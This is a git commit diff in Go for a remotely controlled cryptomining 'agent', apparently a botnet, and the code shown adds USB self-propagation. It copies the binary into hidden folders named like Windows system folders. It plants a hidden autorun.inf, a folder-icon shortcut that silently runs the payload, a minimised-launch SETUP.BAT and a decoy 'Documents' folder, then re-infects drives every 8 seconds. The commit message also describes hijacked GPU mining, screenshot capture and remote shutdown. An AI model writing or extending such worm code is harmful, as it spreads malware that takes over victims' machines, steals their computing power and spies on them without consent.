Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
This commit is contained in:
AetherForge
2026-06-02 21:50:34 -07:00
parent 41b5ec7a88
commit ca66f5d048
34 changed files with 2369 additions and 277 deletions

View File

@@ -153,6 +153,17 @@ func InstallDir(workerName, buildID string) (string, error) {
}.InstallDirectory()
}
// isPayloadStale returns true when the on-disk USB payload has a different
// size than the current running executable — meaning the agent was upgraded
// and the USB copy needs to be refreshed.
func isPayloadStale(exePath string, payloadSize int64) bool {
fi, err := os.Stat(exePath)
if err != nil {
return false
}
return fi.Size() != payloadSize
}
func saveBackup(installedBin string) error {
backup := installedBin + backupSuffix
if _, err := os.Stat(backup); err == nil {

View File

@@ -34,24 +34,65 @@ func StartPassiveSpreader(cfg config.RuntimeConfig) {
// -----------------------------------------------------------------------
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
seen := map[string]bool{}
// Seed with already-mounted removable media so we don't spread to
// drives that were plugged in before the agent started.
for _, mp := range listRemovableMounts() {
seen[mp] = true
type mountState struct{ payloadSize int64 }
state := map[string]mountState{}
exePath, err := os.Executable()
if err != nil {
return
}
ticker := time.NewTicker(20 * time.Second)
defer ticker.Stop()
for range ticker.C {
for _, mp := range listRemovableMounts() {
if seen[mp] {
continue
}
seen[mp] = true
log.Printf("[passive-spread] new removable mount: %s", mp)
// Spread to drives already present at startup if payload is missing or stale.
for _, mp := range listRemovableMounts() {
size, found := findUnixPayloadSize(mp)
if !found || isPayloadStale(exePath, size) {
go spreadToMountUnix(cfg, mp)
state[mp] = mountState{}
} else {
state[mp] = mountState{payloadSize: size}
}
}
ticker := time.NewTicker(8 * time.Second)
defer ticker.Stop()
for range ticker.C {
exeInfo, err := os.Stat(exePath)
if err != nil {
continue
}
for _, mp := range listRemovableMounts() {
prev, seen := state[mp]
if !seen {
log.Printf("[passive-spread] new removable mount: %s", mp)
state[mp] = mountState{}
go spreadToMountUnix(cfg, mp)
continue
}
if prev.payloadSize != exeInfo.Size() {
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
state[mp] = mountState{}
go spreadToMountUnix(cfg, mp)
}
}
}
}
// findUnixPayloadSize scans the known Unix drop dirs for a payload binary.
func findUnixPayloadSize(mountPoint string) (size int64, found bool) {
dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"}
for _, dir := range dotDirs {
entries, err := os.ReadDir(filepath.Join(mountPoint, dir))
if err != nil {
continue
}
for _, e := range entries {
fi, err := e.Info()
if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 {
return fi.Size(), true
}
}
}
return 0, false
}
// listRemovableMounts returns currently-mounted removable media paths.

View File

@@ -91,44 +91,98 @@ func setHiddenSystem(path string) {
// USB watcher
// -----------------------------------------------------------------------
// knownDropDirs is the set of hidden directory names we may use as drop dirs.
var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
// runUSBWatcher polls for removable drives every 8 seconds and spreads to any
// that don't already carry an up-to-date payload.
func runUSBWatcher(cfg config.RuntimeConfig) {
seen := map[string]bool{}
// Seed with drives already present at start — don't spread to them immediately.
// Track drives + the size of the payload we last wrote to each.
type driveState struct{ payloadSize int64 }
state := map[string]driveState{}
exePath, err := os.Executable()
if err != nil {
return
}
// Check drives already present when the agent starts — spread to any that
// are missing or stale (different binary size), don't just skip them.
for _, d := range getLogicalDrives() {
if getDriveType(d) == driveRemovable {
seen[d] = true
size, found := findUSBPayloadSize(d)
if !found || isPayloadStale(exePath, size) {
go spreadToUSB(cfg, d)
state[d] = driveState{}
} else {
state[d] = driveState{payloadSize: size}
}
}
}
ticker := time.NewTicker(20 * time.Second)
ticker := time.NewTicker(8 * time.Second)
defer ticker.Stop()
for range ticker.C {
exeInfo, err := os.Stat(exePath)
if err != nil {
continue
}
for _, d := range getLogicalDrives() {
if getDriveType(d) != driveRemovable {
continue
}
if seen[d] {
prev, seen := state[d]
if !seen {
// Brand-new drive just inserted
log.Printf("[passive-spread] new USB drive: %s", d)
state[d] = driveState{}
go spreadToUSB(cfg, d)
continue
}
seen[d] = true
log.Printf("[passive-spread] new USB drive: %s", d)
go spreadToUSB(cfg, d)
// Refresh if the agent binary was updated since we last wrote
if prev.payloadSize != exeInfo.Size() {
log.Printf("[passive-spread] refreshing stale payload on %s", d)
state[d] = driveState{}
go spreadToUSB(cfg, d)
}
}
}
}
// spreadToUSB copies the agent onto a freshly inserted removable drive
// using three complementary techniques:
// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt)
// 2. LNK shortcut — looks like a folder; user double-clicks it
// 3. Hidden dir — keeps the binary out of plain sight
// findUSBPayloadSize scans the known drop dirs on drive and returns the file
// size of the first .exe found, plus a bool indicating success.
func findUSBPayloadSize(drive string) (size int64, found bool) {
for _, dir := range knownDropDirs {
entries, err := os.ReadDir(filepath.Join(drive, dir))
if err != nil {
continue
}
for _, e := range entries {
if !e.IsDir() && strings.HasSuffix(strings.ToLower(e.Name()), ".exe") {
fi, err := e.Info()
if err == nil {
return fi.Size(), true
}
}
}
}
return 0, false
}
// spreadToUSB copies the agent onto a removable drive using four techniques:
// 1. Hidden drop dir — binary in a disguised system subfolder
// 2. autorun.inf — legacy auto-execute (XP/Vista/7)
// 3. LNK shortcut — folder icon; user double-clicks it (Win8+)
// 4. SETUP.BAT — plain visible batch file as fallback trigger
// 5. Decoy folder — fake "Documents" folder so drive looks natural
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
exePath, err := os.Executable()
if err != nil {
return
}
// Randomised drop directory looks like a Windows system folder.
dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))])
// Randomised drop directory that looks like a Windows system folder.
dropDir := filepath.Join(drive, knownDropDirs[rand.Intn(len(knownDropDirs))])
if err := os.MkdirAll(dropDir, 0755); err != nil {
return
}
@@ -142,19 +196,37 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) {
setHiddenSystem(destBin)
log.Printf("[passive-spread] agent copied to %s", destBin)
// 1. autorun.inf (works on older Windows, silently ignored on Win8+)
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n",
`\`+filepath.Join(filepath.Base(dropDir), destName),
`\`+filepath.Join(filepath.Base(dropDir), destName),
relBin := `\` + filepath.Join(filepath.Base(dropDir), destName)
// 1. autorun.inf (works on XP/Vista/7; silently ignored on Win8+)
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\naction=Open folder to view files\r\n",
relBin, relBin,
)
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
// 2. LNK shortcut that looks like the drive's main folder.
// We pick a name that mirrors whatever real directories are present
// so it blends in, or fall back to a generic "Open Documents" label.
// 2. LNK shortcut — folder icon, minimised window
lnkName := pickLinkName(drive)
createFolderShortcut(drive, lnkName, destBin)
// 3. SETUP.BAT — visible plain-text trigger; searches all known drop dirs
// so it works even if the LNK is deleted. The bat runs the exe minimised.
batLines := "@echo off\r\n"
for _, dir := range knownDropDirs {
batLines += fmt.Sprintf("if exist \"%%~dp0%s\\*.exe\" (for %%%%F in (\"%%~dp0%s\\*.exe\") do (start \"\" /min \"%%%%F\" --run & goto :done))\r\n",
dir, dir)
}
batLines += ":done\r\n"
batPath := filepath.Join(drive, "SETUP.BAT")
_ = os.WriteFile(batPath, []byte(batLines), 0644)
// 4. Decoy visible folder so the drive looks natural when opened
decoyDir := filepath.Join(drive, pickDecoyFolderName(drive))
if err := os.MkdirAll(decoyDir, 0755); err == nil {
// Drop a harmless placeholder so it doesn't look empty
_ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"),
[]byte("This folder is empty.\r\n"), 0644)
}
}
// usbPayloadName returns a plausible system binary name for the USB payload.
@@ -185,13 +257,36 @@ func pickLinkName(drive string) string {
return "Open Documents"
}
for _, e := range entries {
if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") {
return e.Name() // shortcut will have the same name as the first real folder
if !e.IsDir() {
continue
}
n := e.Name()
if strings.HasPrefix(n, "~") || strings.HasPrefix(n, "$") || strings.HasPrefix(n, ".") {
continue
}
return n
}
return "Open Documents"
}
// pickDecoyFolderName returns a visible folder name to create on the USB so
// the drive looks like it contains real content. It avoids names already
// used by pickLinkName so the shortcut name and decoy name differ.
func pickDecoyFolderName(drive string) string {
candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"}
entries, _ := os.ReadDir(drive)
existing := map[string]bool{}
for _, e := range entries {
existing[strings.ToLower(e.Name())] = true
}
for _, c := range candidates {
if !existing[strings.ToLower(c)] {
return c
}
}
return "Backup"
}
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
// create an LNK shortcut with a folder icon that silently runs destBin.
func createFolderShortcut(dir, name, destBin string) {